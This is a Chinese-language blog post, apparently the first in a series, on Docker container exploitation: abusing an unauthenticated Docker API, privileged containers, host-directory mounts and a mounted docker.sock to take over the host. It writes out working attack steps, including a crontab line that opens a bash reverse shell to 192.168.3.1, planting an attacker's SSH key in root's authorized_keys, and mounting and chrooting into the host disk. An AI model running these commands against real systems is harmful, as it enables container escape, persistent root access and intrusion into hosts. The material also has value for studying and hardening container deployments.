Docker容器利用思路(一)


简介

docker常规启动调用链如下:
docker client => dockerd => docker-containerd => docker-containerd-shim => runc(容器外) => runc (容器内) => container-entrypoint

常规利用关注点:
用户侧:不安全的配置
服务侧:容器服务自身漏洞
系统测:内核漏洞

不安全的配置

docker未授权

利用dockcer api来操作docker执行命令,从而进步获得宿主机权限

访问相关端口
http://192.168.3.19:2375/version

远程连接
docker -H tcp://192.168.3.19:2375 version

镜像获取

运行情况获取

进入已经启动的容器内

反弹shell

运行一个新容器,挂载宿主机目录到mnt

echo -e "* * * * * root bash -i >&  /dev/tcp/192.168.3.1/50401  0>&1\n" >> /mnt/etc/crontab

写密钥

echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaAPKqIqS1r20JOSl/TVxFObirhawQZr1NGNEkhV7ZdoKeyaLqNEyweGM/QK8zCIK1Wm+Py0ZMStBjc0NREQJCMtCkLAHeAzCPr/RNfewH4ouZjhNKPUNN6r9aji8/2WSLEKn9yma0cSuQa+WhnrtMdPze1wupoZFWZVH5P1t5IIQ2RLpbx0+8hBZ53hLnSnxDonngcSe/XkbMOMgbkPQmu9HL8Lshz7DCK1sbyrTCHktWaz8tEEl2/6ykl6eBGnfK/E3bSX2slDQkwy2gMXN+UXdFNLfHg06Cw7nkm4BaKoHo+bujXBjScDuVTwR5r1/wF0KF7FyvYHnNOBzq1OoV root@node1” > /root/.ssh/authorized_keys

攻击机密钥连接即可
cd /root/.ssh/
ssh -i id_rsa root@192.168.3.19

高危启动参数

存在一些高危,将会给予容器较大权限,允许执行一些特权操作,在一定的条件下讲导致容器逃逸,比如通过些ssh密钥、计划任务等方式

常见参数
docker run --rm -it 
    --privileged 
    -v /:/soft  # 挂载根目录到soft
    --cap-add=SYS_ADMIN  # 启动虽然有挂载权限,但没法直接获得资源区挂载,需要其他方法获得资源
    --net=host  # 启动时绕过network namespace
    --pid=host  # 启动时绕过pid namespace  
    --ipc=host  # 启动时绕过ipc namespace 
    ubuntu 
    /bin/bash

privileged利用

容器启动如下docker run —privileged,容器就能够访问宿主机上所有设备、目录等信息,而K8s是配置文件启用了privileged true

apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: tomcat-deployment
  labels:
    app: tomcat
spec:
  replicas: 2
  selector:
    matchLabels:
      app: tomcat
  template:
    metadata:
      labels:
        app: tomcat
    spec:
      containers:
      - name: tomcat
        image: tomcat:latest
        ports:
        - containerPort: 8080
        securityContext:
          privileged: true


此处假设以获取webshell、反弹shell进步利用

查看磁盘
fdisk -l 

进步挂载目录
mkdir 2022
mount /dev/sda1 /usr/local/tomcat/webapps/ROOT/2022
chroot /usr/local/tomcat/webapps/ROOT/2022  bash

docker环境利用,如果使用此参数,容器可以完全访问所有设备,不受linux capabilities的限制

docker run -it --privileged centos   /bin/bash
mkdir /tmp/ttt
mount /dev/sda1  /tmp/tttt 挂载效果如下

进步进入目录写入计划任务等均可

挂载敏感目录利用

如下此处将宿主机的root目录挂载到容器的root上,效果如下

或者直接挂载/  -v  /:/test,反弹shell如下

docker.sock挂载

docker in docker,在docker容器中调用和执行宿主机的docker,将docker宿主机的docker文件和docker.sock文件挂载到容器中
  
发现docker.sock如下
find / -name docker.sock
  
查看宿主机docker信息
docker -H unix:///var/run/docker.sock info

运行新docker并挂载到宿主机目录上

m1文件为宿主机目录下,后续同理反弹shell即可


Author: Yangsir
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source Yangsir !
  TOC